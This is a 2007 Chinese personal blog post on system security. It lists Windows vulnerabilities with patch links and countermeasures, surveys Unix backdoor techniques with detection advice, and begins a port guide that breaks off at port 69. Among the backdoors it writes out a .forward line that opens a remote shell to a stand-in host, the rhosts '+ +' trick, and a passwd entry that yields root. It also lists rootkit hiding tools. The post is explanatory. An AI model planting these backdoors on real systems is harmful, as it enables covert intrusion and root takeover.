個人檔案蚂蚁的窝相片部落格清單更多 工具 說明

王 成

職業
居住地
deedeewood83@msn.com
JEEP  
第 1 張 / 共 15 張

蚂蚁的窝

搬家前,我会给你送把伞 ☂
10/4/2007

漏洞分析专题

系统漏洞简介
(1)什么是系统漏洞:

漏洞即某个程序(包括操作系统)在设计时未考虑周全,当程序遇到一个看似合理,但实际无法处理的问题时,引发的不可预见的错误。系统漏洞又称安全缺陷,对用户造成的不良后果如下所述:

如漏洞被恶意用户利用,会造成信息泄漏,如黑客攻击网站即利用网络服务器操作系统的漏洞。

对用户操作造成不便,如不明原因的死机和丢失文件等。

综上所述,仅有堵住系统漏洞,用户才会有一个安全和稳定的工作环境。

(2)为什么会存在漏洞:

漏洞的产生大致有三个原因,具体如下所述:

编程人员的人为因素,在程序编写过程,为实现不可告人的目的,在程序代码的隐蔽处保留后门。

受编程人员的能力、经验和当时安全技术所限,在程序中难免会有不足之处,轻则影响程序效率,重则导致非授权用户的权限提升。

由于硬件原因,使编程人员无法弥补硬件的漏洞,从而使硬件的问题通过软件表现。

当然,Windows漏洞层出不穷也有其客观原因,即任何事物都非十全十美,作为应用于桌面的操作系统──Windows也是如此,且由于其在桌面操作系统的垄断地位,使其存在的问题会很快暴露。此外和Linux等开放源码的操作系统相比,Windows属于暗箱操作,普通用户无法获取源代码,因此安全问题均由微软自身解决。

3.如何处理系统中的漏洞
Windows操作系统的漏洞,某些由于软件设计失误而产生,另一些则由于用户设置不当所引发,均会严重影响系统安全。针对两种不同的错误需采用不同的方式加以解决,如下所述:

(1)针对设计错误,微软公司会及时推出补丁程序,用户只需及时下载并安装即可,因此建议用户经常浏览微软的安全公告,并及时下载补丁,官方网址为:http://www.microsoft.com/china/security/Bulletins/default.asp

(2)对于设置错误,则应及时修改配置,使系统更加安全可靠。

目前互连网上十大常见漏洞:
拒绝服务(D.O.S)
脆弱的帐号和密码
数据库
电子商务WEB应用程序
电子邮件系统
文件共享
远程进程调用(RPC)
BIND
Linux缓存益出
IIS(microsoft web信息服务)

主流操作系统漏洞列表:
Windows (98略,含 NT、2000各版本、XP)
1.输入法漏洞
漏洞描述:
通过该漏洞用户可浏览计算机上的所有文件,且可执行net.exe命令添加Administrator级别的管理员用户,从而完全控制计算机。
对策:
(1)卸载不用的输入法,并删除输入法的帮助文件。
(2)安装Windows 2000的Service Pack 1以上的版本。
2.Unicode漏洞
漏洞描述:
攻击者可通过IE浏览器远程运行被攻击计算机的cmd.exe文件,从而使该计算机的文件暴露,且可随意执行和更改文件。
对策:
(1)为避免该类攻击,建议下载最新补丁,网址如下所述:
http://www.microsoft.com/technet/security/bulletin/MS00-078.asp
(2)安装IIS Lockdown和URL Scan来加固系统,从而避免该类攻击。
(3)安装Windows 2000的Service Pack 2以上的版本。
3.ISAPI 缓冲区扩展溢出漏洞
漏洞描述:
攻击者向装有IIS5.0的Windows 2000服务器发送特定数据,造成缓冲区溢出,从而控制IIS服务器,甚至获取服务器的最高权限。
对策:
(1)管理员应及时检查并取消不需的ISAPI扩展,并使让系统运行于工作所需的最少服务状态中。
(2)下载补丁程序,网址如下所述:
http://www.microsoft.com/technet/security/bulletin/MS01-044.asp
(3)安装Windows 2000的Serive Pack 2以上的版本。

4.MS SQL Server的SA空密码漏洞
漏洞描述:
攻击者可在安装MS SQL Server的Windows 2000服务器上新建Administrators组用户。
对策:
(1)安装SQL Server后应立即修改SA的空密码。
(2)安装Windows 2000的Service Pack 3。
5.系统管理权限漏洞
漏洞描述:
操作系统权限有可能被登录至Windows 2000的普通用户所窃取。
对策:
安装Windows 2000的Service Pack 3。

6.路径优先漏洞
漏洞描述:
本地攻击者可利用该漏洞在系统中放置木马,并以系统登录用户安全权限执行。
对策:
微软目前还未推出相应的补丁程序,建议通过对系统ROOT目录设置权限来减小该漏洞的危害。

7.NetDDE消息权限提升漏洞
漏洞描述:
网络动态数据交换(Network Dynamic Data Exchange,即NetDDE)是一种在不同Windows应用程序间动态共享数据的技术,该共享通过受信任共享的通信通道完成,受信任共享由网络DDE代理服务管理。
本地机器的进程可向网络DDE代理发出请求,包括指定针对某个受信任共享应运行的应用程序,但由于网络DDE代理运行在本地系统用户的安全范围中并处理所有请求,因此攻击者可使网络DDE代理在本地系统用户的安全范围中执行其指定代码,从而提升权限并完全控制本地机器。
对策:
(1)禁止DDE共享,但会导致某些须使用DDE共享的程序无法正常工作。
(2)以管理员身份运行ddeshare.exe,删除不必要的受信任共享。
(3)下载并安装补丁程序,网址如下所述:
英文版: http://www.microsoft.com/Downloads/Release.asp?ReleaseID=27526
中文版: http://www.microsoft.com/Downloads/Release.asp?ReleaseID=27530
(4)安装Windows 2000的Service Pack3。

8.RDP拒绝服务漏洞
漏洞描述:
向RDP服务端口提交多个畸形包会导致服务器崩溃。

对策:
(1)补丁下载,网址如下所述:
http://www.microsoft.com/Downloads/Release.asp?ReleaseID=27500
(2)安装Windows 2000的Service Pack 2以上的版本。

9.域控制器拒绝服务漏洞
漏洞描述:
提交至域控制器的大量无效请求将导致系统停止响应。
对策:
(1)补丁下载,网址如下所述:
http://www.microsoft.com/Downloads/Release.asp?ReleaseID=28064
(2)安装Windows 2000的Service Pack 2以上的版本。

10.事件查看器存在缓冲区溢出
漏洞描述:
攻击者可使事件查看器崩溃或执行任意代码。
对策:
(1)对于Windows 2000建议下载补丁,网址如下所述:
http://www.microsoft.com/Downloads/Release.asp?ReleaseID=27842
(2)安装Windows 2000的Service Pack 2以上的版本。

11.UDP套接字拒绝服务漏洞
漏洞描述:
当接收恶意电子邮件或访问某恶意网站时,Windows 2000会停止DNS解析,而Windows 98则会拒绝接受新的TCP连接。
对策:
在浏览器中禁止执行Java Applet。

12.安全帐户管理漏洞
漏洞描述:
安全帐户管理数据库可由Administrator帐户和Administrator组中的所有成员、备份操作员、服务器操作员及所有具有备份特权的人员所复制。
对策:
限制Administrator组和备份组帐户的成员资格,并加强对这些帐户的跟踪,尤其对Administrator帐户的登录失败和注销。

13.IIS 5.0 的HTR映射远程堆溢出漏洞
漏洞描述:
Windows 2000的IIS 5.0对“htr”文件的映射请求处理存在堆溢出漏洞,远程攻击者可利用该漏洞获取主机普通用户的访问权限。
对策:
(1)建议在不需使用“htr”映射时,立刻删除“htr”脚本映射。
(2)下载补丁,网址如下所述:
http://www.microsoft.com/Downloads/Release.asp?ReleaseID=37824
(3)安装Windows 2000的Serive Pack 2以上的版本。

14.IIS5.0的ASP缓冲溢出漏洞
漏洞描述:
IIS 5.0 ASP 的ISAPI过滤器存在远程缓冲区溢出漏洞,远程攻击者可利用该漏洞获取主机普通用户访问权限。
对策:
(1)下载补丁,网址如下所述:
http://www.microsoft.com/Downloads/Release.asp?ReleaseID=37824
(2)如不使用ASP脚本,可删除“asp”脚本映射。
(3)安装Windows 2000的Serive Pack 2以上的版本。

15.Narrator本地密码信息泄露漏洞
漏洞描述:
恶意攻击者可使计算机读出用户名和密码。
对策:
目前暂无相关补丁,建议不安装该功能。

16.SMTP认证漏洞
漏洞描述:
SMTP 用户认证可跳过。
对策:
下载安装补丁,网址如下所述:
Microsoft Windows 2000 Server, Professional and Advanced Server:
http://www.microsoft.com/Downloads/Release.asp?ReleaseID= 36556
Exchange Server 5.5:
http://www.microsoft.com/Downloads/Release.asp?ReleaseID=33423

17.IIS 5.0/5.1 验证漏洞
漏洞描述:
IIS 验证漏洞导致泄露系统信息及帐户可通过暴力法破解。
对策:
(1)如服务器访问不需认证,建议关闭基本认证和集成的Windows认证。
(2)设置帐号策略以防止暴力法破解。

18.SQL Server的函数库漏洞
漏洞描述:
在Windows 2000 和SQL Server7.0/2000系统中,由于函数库本身问题会导致内存溢出和拒绝服务。本地攻击者利用该漏洞可获取系统特权或进行D.o.S 攻击,并可运行攻击程序,使其产生拒绝服务。
对策:
(1)建议用户按 SQL Server和C runtime的不同方式进行修补安装。
(2)下载安装补丁,网址如下所述:

SQL Server:
SQL Server 7.0:

http://www.microsoft.com/Downloads/Release.asp?ReleaseID=35066
SQL Server 2000:
http://www.microsoft.com/Downloads/Release.asp?ReleaseID=35067
C Runtime:
Windows NT 4.0 和 Windows 2000:
http://www.microsoft.com/Downloads/Release.asp?ReleaseID=33500
WindowsXP: http://www.microsoft.com/Downloads/Release.asp?ReleaseID=35023

19.IIS5.0 伪造“Content-Length”拒绝服务漏洞
漏洞描述:
通过向IIS 5.0发送某些请求,可导致IIS 5.0拒绝服务。
对策:
目前还未有关于该漏洞的补丁程序,建议限制非信任主机对80端口的访问。

20.调试寄存器漏洞
漏洞描述:
通过该漏洞,可提升用户权限。
对策:
安装Windows 2000的Service Pack 3。

21.drwtsn32.exe文件漏洞
漏洞描述:
drwtsn32.exe文件的故障使文件默认权限设置不当,可能导致敏感信息泄漏。
对策:
(1)输入不带参数的drwtsn32,更改故障文件至特权路径或取消“建立故障转储文件”选项。
(2)删除注册表项“[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\ AeDebug]”下的相关键值。
(3)使用其他调试工具。

22.快捷方式漏洞
漏洞描述:
Windows快捷方式可导致本地拒绝服务和用户口令散列值泄漏及执行恶意程序。
对策:
不轻易将邮件附件导出,尤其不导出至桌面,不轻易打开邮件中的各种快捷方式附件。

23.UTF漏洞
漏洞描述:
IIS 存在 UTF 目录遍历漏洞,攻击者利用该漏洞执行任意代码。
对策:
安装Windows 2000的Service Pack 3。

24.IIS 5.0 SEARCH方法远程攻击漏洞
漏洞描述:
IIS 5.0的 SEARCH方法存在漏洞,易导致远程攻击。
对策:
(1)下载的补丁程序,网址如下所述:
Microsoft IIS 5.0:
http://www.microsoft.com/Downloads/Release.asp?ReleaseID=28564
(2)先停止IIS服务,然后禁止“Everyone”用户访问Httpext.dll,最后再启动IIS服务。

25.LDAP 漏洞
漏洞描述:
远程攻击者利用 Microsoft LDAP 漏洞可改变管理员口令。
对策:
下载并安装补丁程序,网址如下所述:
Windows 2000 Server and Advanced Server:
http://www.microsoft.com/Downloads/Release.asp?ReleaseID=31065

26.IIS5.0 拒绝服务漏洞
漏洞描述:
利用设备文件导致IIS拒绝服务。
对策:
修补FSO组件的相关代码,使其在打开文件前须检查其是否存在。

27.Telnet漏洞
漏洞描述:
Windows 2000 Telnet 服务存在很多重大安全漏洞。
对策:
下载并安装补丁,网址如下所述:
http://www.microsoft.com/Downloads/Release.asp?ReleaseID=30508
28.登录服务恢复模式空密码漏洞
漏洞描述:
恶意用户可对系统进行物理访问,并拥有管理员权限。
对策:
安装Windows 2000的Serive Pack 2以上的版本。

29.默认注册许可漏洞
漏洞描述:
一些Windows注册键值被设置为错误的默认值,使攻击者改变系统设置,甚至远程控制主机。
对策:
安装Windows 2000的 Service Pack 2以上的版本。

30.域帐号锁定漏洞
漏洞描述:
微软Windows 2000域帐号锁定可被绕过。
对策:
安装Windows 2000的Serive Pack 2以上的版本。

31.终端服务器登录缓存溢出漏洞
漏洞描述:
该漏洞允许恶意用户引发终端服务崩溃或在服务器上执行恶意代码。
对策:
安装Windows 2000的Serive Pack 2以上的版本。

32.ActiveX 参数漏洞
漏洞描述:
该漏洞可允许恶意用户在另一台主机上运行代码。
对策:
(1)下载并安装补丁程序,网址如下所述:
http://www.microsoft.com/Downloads/Release.asp?ReleaseID=25532
(2)安装Windows 2000的Serive Pack 2以上的版本。

33.IIS5.0 Cross-Site Scripting漏洞
漏洞描述:
该漏洞可影响运行于Web服务器的任何软件,接受用户输入并生成Web页。
对策:
安装Windows 2000的Serive Pack 2以上的版本。

34.组策略漏洞
漏洞描述:
以独占方式打开组策略文件导致组策略应用被阻塞,攻击者可阻止组策略的应用。
对策:
下载补丁程序,网址如下所述:
http://www.microsoft.com/Downloads/Release.asp?ReleaseID=36844

35.Outlook Express数字签名缓冲区溢出漏洞
漏洞描述:
允许攻击者运行其代码。
对策:
对用户帐户使用相应的限制。

36.ActiveX控件漏洞
漏洞描述:
使Windows 9x以上的版本拒绝服务。
对策:
下载补丁程序,网址如下所述:
MicrosoftWindows98:http://www.microsoft.com/Windows 98/downloads/Contents/WUCritical/q323172/default.asp

Microsoft Windows 98 Second Edition:http://www.microsoft.com/Windows 98/downloads/contents/WUCritical/q323172/default.asp

Microsoft Windows Me:http://download.microsoft.com/download/WINME/PATCH/ 24421/WINME/EN-US/323172USAM.EXE

Microsoft Windows NT 4.0:http://www.microsoft.com/Downloads/Release.asp?ReleaseID=41747

Microsoft Windows NT 4.0, Terminal Server Edition:http://www.microsoft.com/Downloads/Release.asp?ReleaseID=41361

Microsoft Windows 2000:http://www.microsoft.com/Downloads/Release.asp?ReleaseID=41568

Microsoft Windows XP:http://www.microsoft.com/Downloads/Release.asp?ReleaseID=41598

Microsoft Windows XP 64-bit Edition:http://www.microsoft.com/Downloads/Release.asp?ReleaseID=41594

37.SMB漏洞
漏洞描述:
拒绝服务。

对策:
(1)可通过禁止匿名访问来防止攻击,也可通过禁止未经信任网络的 SMB 访问,防止受到未经信任的类似攻击。
(2)下载补丁程序,网址如下所述:
Microsoft Windows 2000:
http://www.microsoft.com/downloads/Release.asp?ReleaseID=41468
Microsoft Windows XP:
http://www.microsoft.com/downloads/Release.asp?ReleaseID=41524
Microsoft Windows XP 64 bit Edition:
http://www.microsoft.com/downloads/Release.asp?ReleaseID=41549

38.网络连接管理器漏洞
漏洞描述:
导致用户权限的提升。
对策:
(1)建议不允许未经授权的用户登录至关键业务的服务器。
(2)下载补丁程序,网址如下所述:
http://www.microsoft.com/downloads/Release.asp?ReleaseID=41406

39.UPNP服务漏洞
漏洞描述:
允许攻击者执行任意指令。
对策:
(1)建议禁用UPNP服务。
(2)下载补丁程序,网址如下所述:
http://www.microsoft.com/technet/treeview/default.asp?url=/technet/security/bulletin/MS01-059.asp

40.升级程序漏洞
漏洞描述:
如将Windows XP升级至Windows XP Pro,IE 6.0即会重新安装,以前的补丁程序将被全部清除。
对策:
如IE浏览器未下载升级补丁可至微软网站下载最新补丁程序。

41.帮助和支持中心漏洞
漏洞描述:
删除用户系统的文件。
对策:
安装 Windows XP的Service pack 1。

42.压缩文件夹漏洞
漏洞描述:
Windows XP 压缩文件夹可按攻击者的选择运行代码。
建议:
不接收不信任的邮件附件,也不下载不信任的文件。

43.服务拒绝漏洞
漏洞描述:
服务拒绝。
对策:
建议不默认启动PPTP。

44.Windows Media Player漏洞
漏洞描述:
可能导致用户信息的泄漏;脚本调用;缓存路径泄漏。
对策:
Windows Media Player的信息泄漏漏洞不会影响在本地机器上打开的媒体文件。因此,建议将要播放的文件先下载到本地再播放,即可不受利用此漏洞进行的攻击。脚本执行漏洞仅有完全按下面的顺序进行一系列操作,攻击者才可能利用该漏洞进行一次成功攻击,否则,攻击将不会成功。具体的操作如下:用户必须播放位于攻击者那边的一个特殊的媒体文件;播放该特殊文件后,该用户必须关闭Windows Media Player而不再播放其他文件;用户必须接着浏览一个由攻击者构建的网页。因此,只需用户不按照该顺序进行操作,即可不受攻击。

45.RDP漏洞
漏洞描述:
信息泄露并拒绝服务。
对策:
Windows XP 默认并未启动它的远程桌面服务。即使远程桌面服务启动,只需在防火墙中屏蔽3389端口,即可避免该攻击。

46.VM漏洞
漏洞描述:
可能造成信息泄露,并执行攻击者的代码。
对策:
建议经常进行相关软件的安全更新。

47.热键漏洞
漏洞描述:
设置热键后,由于Windows XP的自注销功能,可使系统“假注销”,其他用户即可通过热键调用程序。
对策:
(1)由于该漏洞被利用的前提为热键可用,因此需检查可能会带来危害的程序和服务的热键。
(2)启动屏幕保护程序,并设置密码。
(3)建议在离开计算机时锁定计算机。

48.帐号快速切换漏洞
漏洞描述:
Windows XP快速帐号切换功能存在问题,可被造成帐号锁定,使所有非管理员帐号均无法登录。
对策:
暂时禁止帐户快速切换功能

2、Linux后门列表:

大多数入侵者的后门实现以下二到三个目的:
即使管理员通过改变所有密码类似的方法来提高安全性,仍然能再次侵入. 使再 次侵入被发现的可能性减至最低.大多数后门设法躲过日志, 大多数情况下即使入侵者正在使用系统也无法显示他已在线. 一些情况下, 如果入侵者认为管理员可能会检测到已经安装的后门, 他们以系统的 脆弱性作为唯一的后门, 重而反复攻破机器. 这也不会引起管理员的注意. 所以在 这样的情况下,一台机器的脆弱性是它唯一未被注意的后门.

1.密码破解后门
这是入侵者使用的最早也是最老的方法, 它不仅可以获得对Unix机器的访问, 而且可以通过破解密码制造后门. 这就是破解口令薄弱的帐号. 以后即使管理员封了入侵者的当前帐号,这些新的帐号仍然可能是重新侵入的后门. 多数情况下, 入侵者寻找口令
薄弱的未使用帐号,然后将口令改的难些. 当管理员寻找口令薄弱的帐号是, 也不会发现这些密码已修改的帐号.因而管理员很难确定查封哪个帐号.

2.Rhosts + + 后门
在连网的Unix机器中,象Rsh和Rlogin这样的服务是基于rhosts文件里的主机名使用简单的认证方法. 用户可以轻易的改变设置而不需口令就能进入. 入侵者只要向可以访问的某用户的rhosts文件中输入"+ +", 就可以允许任何人从任何地方无须口令便能进
入这个帐号. 特别当home目录通过NFS向外共享时, 入侵者更热中于此. 这些帐号也成了入侵者再次侵入的后门. 许多人更喜欢使用Rsh, 因为它通常缺少日志能力. 许多管理员经常检查 "+ +", 所以入侵者实际上多设置来自网上的另一个帐号的主机名和用户名,从而不易被发现.

3.校验和及时间戳后门
早期,许多入侵者用自己的trojan程序替代二进制文件. 系统管理员便依靠时间戳和系统校验和的程序辨别一个二进制文件是否已被改变, 如Unix里的sum程序. 入侵者又发展了使trojan文件和原文件时间戳同步的新技术. 它是这样实现的: 先将系统时钟拨
回到原文件时间, 然后调整trojan文件的时间为系统时间. 一旦二进制trojan文件与原来的精确同步, 就可以把系统时间设回当前时间. sum程序是基于CRC校验, 很容易骗过.入侵者设计出了可以将trojan的校验和调整到原文件的校验和的程序. MD5是被大多数人推荐的,MD5使用的算法目前还没人能骗过.

4.Login后门
在Unix里,login程序通常用来对telnet来的用户进行口令验证. 入侵者获取login.c的原代码并修改,使它在比较输入口令与存储口令时先检查后门口令. 如果用户敲入后门口令,它将忽视管理员设置的口令让你长驱直入. 这将允许入侵者进入任何帐号,甚至
是root.由于后门口令是在用户真实登录并被日志记录到utmp和wtmp前产生一个访问的, 所以入侵者可以登录获取shell却不会暴露该帐号. 管理员注意到这种后门后, 便用"strings"命令搜索login程序以寻找文本信息. 许多情况下后门口令会原形毕露.
入侵者就开始加密或者更好的隐藏口令, 使strings命令失效. 所以更多的管理员是用MD5校验和检测这种后门的.

5.Telnetd后门
当用户telnet到系统, 监听端口的inetd服务接受连接随后递给in.telnetd,由它运行login.一些入侵者知道管理员会检查login是否被修改, 就着手修改in.telnetd.在in.telnetd内部有一些对用户信息的检验, 比如用户使用了何种终端. 典型的终端设置是Xterm或者VT100.入侵者可以做这样的后门, 当终端设置为"letmein"时产生一个不要任何验证的shell. 入侵者已对某些服务作了后门, 对来自特定源端口的连接产生一个shell .

6.服务后门
几乎所有网络服务曾被入侵者作过后门. finger, rsh, rexec, rlogin, ftp, 甚至inetd等等的作了的版本随处多是. 有的只是连接到某个TCP端口的shell,通过后门口令就能获取访问.这些程序有时用刺ucp这样不用的服务,或者被加入inetd.conf作为一个新的服务.管理员应该非常注意那些服务正在运行, 并用MD5对原服务程序做校验.

7.Cronjob后门
Unix上的Cronjob可以按时间表调度特定程序的运行. 入侵者可以加入后门shell程序使它在1AM到2AM之间运行,那么每晚有一个小时可以获得访问. 也可以查看cronjob中经常运行的合法程序,同时置入后门. 库后门几乎所有的UNIX系统使用共享库. 共享库用于相同函数的重用而减少代码长度. 一些入侵者在象crypt.c和_crypt.c这些函数里作了后门. 象了、login.c这样的程序调用了crypt(),当使用后门口令时产生一个shell. 因此, 即使管理员用MD5检查login程序, 仍然能产生一个后门函数.而且许多管理员并不会检查库是否被做了后门.对于许多入
侵者来说有一个问题: 一些管理员对所有东西多作了MD5校验. 有一种办法是入侵者对open()和文件访问函数做后门. 后门函数读原文件但执行trojan后门
程序. 所以 当MD5读这些文件时,校验和一切正常. 但当系统运行时将执行trojan版本的. 即使trojan库本身也可躲过MD5校验. 对于管理员来说有一种方法可以找到后门, 就是静态编连MD5校验程序然后运行. 静态连接程序不会使用trojan共享库.

8.内核后门
内核是Unix工作的核心. 用于库躲过MD5校验的方法同样适用于内核级别,甚至连静态连接多不能识别. 一个后门作的很好的内核是最难被管理员查找的, 所幸的是内核的后门程序还不是随手可得, 每人知道它事实上传播有多广.

9.文件系统后门
入侵者需要在服务器上存储他们的掠夺品或数据,并不能被管理员发现. 入侵者的文章常是包括exploit脚本工具,后门集,sniffer日志,email的备分,原代码,等等. 有时为了防止管理员发现这么大的文件, 入侵者需要修补"ls","du","fsck"以隐匿特定的目录和文件.在很低的级别, 入侵者做这样的漏洞: 以专有的格式在硬盘上割出一部分,且表示为坏的扇区. 因此入侵者只能用特别的工具访问这些隐藏的文件. 对于普通的管理员来说, 很难发现这些"坏扇区"里的文件系统, 而它又确实存在.

10.Boot块后门
在PC世界里,许多病毒藏匿与根区, 而杀病毒软件就是检查根区是否被改变. Unix下,多数管理员没有检查根区的软件, 所以一些入侵者将一些后门留在根区.

11.隐匿进程后门
入侵者通常想隐匿他们运行的程序. 这样的程序一般是口令破解程序和监听程序(sniffer).有许多办法可以实现,这里是较通用的: 编写程序时修改自己的argv[]使它看起来象其他进程名. 可以将sniffer程序改名类似in.syslog再执行. 因此当管理员用"ps"检查运行进程时, 出现 的是标准服务名. 可以修改库函数致使"ps"不能显示所有进程. 可以将一个后门或程序嵌入中断驱动程序使它不会在进程表显现. 使用这个技术的一个后门
例子是amod.tar.gz :
http://star.niimm.spb.su/~maillist/bugtraq.1/0777.html
也可以修改内核隐匿进程.
最流行的后门安装包之一是rootkit.
它很容易用web搜索器找到.从Rootkit的README
里,可以找到一些典型的文件:
z2 - removes entries from utmp, wtmp, and lastlog.
Es - rokstar's ethernet sniffer for sun4 based kernels.
Fix - try to fake checksums, install with same dates/perms/u/g.
Sl - become root via a magic password sent to login.
Ic - modified ifconfig to remove PROMISC flag from output.
ps: - hides the processes.
Ns - modified netstat to hide connections to certain machines.
Ls - hides certain directories and files from being listed.
du5 - hides how much space is being used on your hard drive.
ls5 - hides certain files and directories from being listed.

12.网络通行后门
入侵者不仅想隐匿在系统里的痕迹, 而且也要隐匿他们的网络通行. 这些网络通行后门有时允许入侵者通过防火墙进行访问. 有许多网络后门程序允许入侵者建立某个端口号并不用通过普通服务就能实现访问. 因为这是通过非标准网络端口的通行, 管理员可能忽视入侵者的足迹. 这种后门通常使用TCP,UDP和ICMP, 但也可能是其他类型报文.

13.TCP Shell 后门
入侵者可能在防火墙没有阻塞的高位TCP端口建立这些TCP Shell后门. 许多情况下,他们用口令进行保护以免管理员连接上后立即看到是shell访问. 管理员可以用netstat命令查看当前的连接状态, 那些端口在侦听, 目前连接的来龙去脉. 通常这些后门可以让入侵者躲过TCP Wrapper技术. 这些后门可以放在SMTP端口, 许多防火墙允许e-mail通行的.

14.UDP Shell 后门
管理员经常注意TCP连接并观察其怪异情况, 而UDP Shell后门没有这样的连接, 所以netstat不能显示入侵者的访问痕迹. 许多防火墙设置成允许类似DNS的UDP报文的通行. 通常入侵者将UDP Shell放置在这个端口, 允许穿越防火墙.

15.ICMP Shell 后门
Ping是通过发送和接受ICMP包检测机器活动状态的通用办法之一. 许多防火墙允许外界ping它内部的机器. 入侵者可以放数据入Ping的ICMP包, 在ping的机器间形成一个shell通道. 管理员也许会注意到Ping包暴风, 但除了他查看包内数据, 否者入侵者不会暴露.

16.加密连接
管理员可能建立一个sniffer试图某个访问的数据, 但当入侵者给网络通行后门加密后,就不可能被判定两台机器间的传输内容了.

解决
当后门技术越先进, 管理员越难于判断入侵者是否侵入后者他们是否被成功封杀.

评估
首先要做的是积极准确的估计你的网络的脆弱性, 从而判定漏洞的存在且修复之.许多商业工具用来帮助扫描和查核网络及系统的漏洞. 如果仅仅安装提供商的安全补丁的话,许多公司将大大提高安全性.

MD5基准线
一个系统(安全)扫描的一个重要因素是MD5校验和基准线. MD5基准线是在黑客入侵前由干净系统建立. 一旦黑客入侵并建立了后门再建立基准线, 那么后门也被合并进去了.一些公司被入侵且系统被安置后门长达几个月.所有的系统备份多包含了后门. 当公司发现有黑客并求助备份祛除后门时, 一切努力是徒劳的, 因为他们恢复系统的同时也恢复了后门. 应该在入侵发生前作好基准线的建立.

入侵检测
随着各种组织的上网和允许对自己某些机器的连接,入侵检测正变的越来越重要.以前多数入侵检测技术是基于日志型的. 最新的入侵检测系统技术(IDS)是基于实时侦听和网络通行安全分析的. 最新的IDS技术可以浏览DNS的UDP报文, 并判断是否符合DNS协
议请求. 如果数据不符合协议, 就发出警告信号并抓取数据进行进一步分析. 同样的原则可以运用到ICMP包, 检查数据是否符合协议要求, 或者是否装载加密shell会话.

从CD-ROM启动
一些管理员考虑从CD-ROM启动从而消除了入侵者在CD-ROM上做后门的可能性.这种方法的问题是实现的费用和时间够企业面临的.

警告
由于安全领域变化之快, 每天有新的漏洞被公布, 而入侵者正不断设计新的攻击和安置后门技术, 安枕无忧的安全技术是没有的.请记住没有简单的防御,只有不懈的努力!

17.forward后门
Unix下在.forward文件里放入命令是重新获得访问的常用方法. 帐户'username'的.forward可能设置如下:
\username|"/usr/local/X11/bin/xterm -disp hacksys.other.dom:0.0 -e/bin/sh"
这种方法的变形包括改变系统的mail的别名文件(通常位于/etc/aliases). 注意这只是一种简单的变换. 更为高级的能够从.forward中运行简单脚本实现在标准输入执行任意命令(小部分预处理后).>利用smrsh可以有效的制止这种后门(虽然如果允许可以自运行的elm's filter或procmail>类程序, 很有可能还有问题 ......)
你也许能用这个"特性"做后门:
当在/etc/password里指定一个错误的uid/gid后, 大多数login(1)的实现是不能检查出这个错误的uid/gid, 而atoi(3)将设uid/gid为0, 便给了超级用户的权利.
例子:
rmartin:x:x50:50:R. Martin:/home/rmartin:/bin/tcsh在Linux里,这将把用户rmartin的uid设为0.

常见端口详解及部分攻击策略
0
通常用于分析操作系统。这一方法能够工作是因为在一些系统中“0”是无效端口,当你试图使用一种通常的闭合端口连接它时将产生不同的结果。一种典型的扫描:使用IP地址为0.0.0.0,设置ACK位并在以太网层广播。

1
 tcpmux 这显示有人在寻找SGI Irix机器。Irix是实现tcpmux的主要提供者,缺省情况下tcpmux在这种系统中被打开。Iris机器在发布时含有几个缺省的无密码的帐户,如lp, guest, uucp, nuucp, demos, tutor, diag, EZsetup, OutOfBox,和4Dgifts。许多管理员安装后忘记删除这些帐户。因此Hacker们在Internet上搜索tcpmux并利用这些帐户。

7
Echo 你能看到许多人们搜索Fraggle放大器时,发送到x.x.x.0和x.x.x.255的信息。
常见的一种DoS攻击是echo循环(echo-loop),攻击者伪造从一个机器发送到另一个机器的UDP数据包,而两个机器分别以它们最快的方式回应这些数据包。
另一种东西是由DoubleClick在词端口建立的TCP连接。有一种产品叫做“Resonate Global Dispatch”,它与DNS的这一端口连接以确定最近的路由。
Harvest/squid cache将从3130端口发送UDP echo:“如果将cache的source_ping on选项打开,它将对   原始主机的UDP echo端口回应一个HIT reply。”这  将会产生许多这类数据包。

11
sysstat 这是一种UNIX服务,它会列出机器上所有正在运行的进程以及是什么启动了这些进程。这为入侵者提供了许多信息而威胁机器的安全,如暴露已知某些弱点或帐户的程序。这与UNIX系统中“ps”命令的结果相似
再说一遍:ICMP没有端口,ICMP port 11通常是ICMP type=11

19
chargen 这是一种仅仅发送字符的服务。UDP版本将会在收到UDP包后回应含有垃圾字符的包。TCP连接时,会发送含有垃圾字符的数据流知道连接关闭。Hacker利用IP欺骗可以发动DoS攻击。伪造两个chargen服务器之间的UDP包。由于服务器企 图回应两个服务器之间的无限的往返数据通讯一个chargen和echo将导致服务器过载。同样fraggle DoS攻击向目标地址的这个端口广播一个带有伪造受害者IP的数据包,受害者为了回应这些数据而过载。

21
 ftp 最常见的攻击者用于寻找打开“anonymous”的ftp服务器的方法。这些服务器带有可读写的目录。Hackers或Crackers利用这些服务器作为传送warez (私有程序) 和pr0n(故意拼错词而避免被搜索引擎分类)的节点。

22
ssh PcAnywhere建立TCP和这一端口的连接可能是为了寻找ssh。这一服务有许多弱点。如果配置成特定的模式,许多使用RSAREF库的版本有不少漏洞。(建议在其它端口运行ssh)
还应该注意的是ssh工具包带有一个称为make-ssh-known-hosts的程序。它会扫描整个域的ssh主机。你有时会被使用这一程序的人无意中扫描到。
UDP(而不是TCP)与另一端的5632端口相连意味着存在搜索pcAnywhere的扫描。5632(十六进制的0x1600)位交换后是0x0016(使进制的22)。

23
Telnet 入侵者在搜索远程登陆UNIX的服务。大多数情况下入侵者扫描这一端口是为了找到机器运行的操作系统。此外使用其它技术,入侵者会找到密码。

25
smtp 攻击者(spammer)寻找SMTP服务器是为了传递他们的spam。入侵者的帐户总被关闭,他们需要拨号连接到高带宽的e-mail服务器上,将简单的信息传递到不同的地址。SMTP服务器(尤其是sendmail)是进入系统的最常用方法之一,因为它们必须完整的暴露于Internet且邮件的路由是复杂的(暴露+复杂=弱点)。

53
DNS Hacker或crackers可能是试图进行区域传递(TCP),欺骗DNS(UDP)或隐藏其它通讯。因此防火墙常常过滤或记录53端口。
需要注意的是你常会看到53端口做为UDP源端口。不稳定的防火墙通常允许这种通讯并假设这是对DNS查询的回复。Hacker常使用这种方法穿透防火墙。

67、68
 Bootp和DHCP UDP上的Bootp/DHCP:通过DSL和cable-modem的防火墙常会看见大量发送到广播地址255.255.255.255的数据。这些机器在向DHCP服务器请求一个地址分配。Hacker常进入它们分配一个地址把自己作为局部路由器而发起大量的
“中间人”(man-in-middle)攻击。客户端向68端口(bootps)广播请求配置,服务器向67端口(bootpc)广播回应请求。这种回应使用广播是因为客户端还不知道可以发送的IP地址。

69
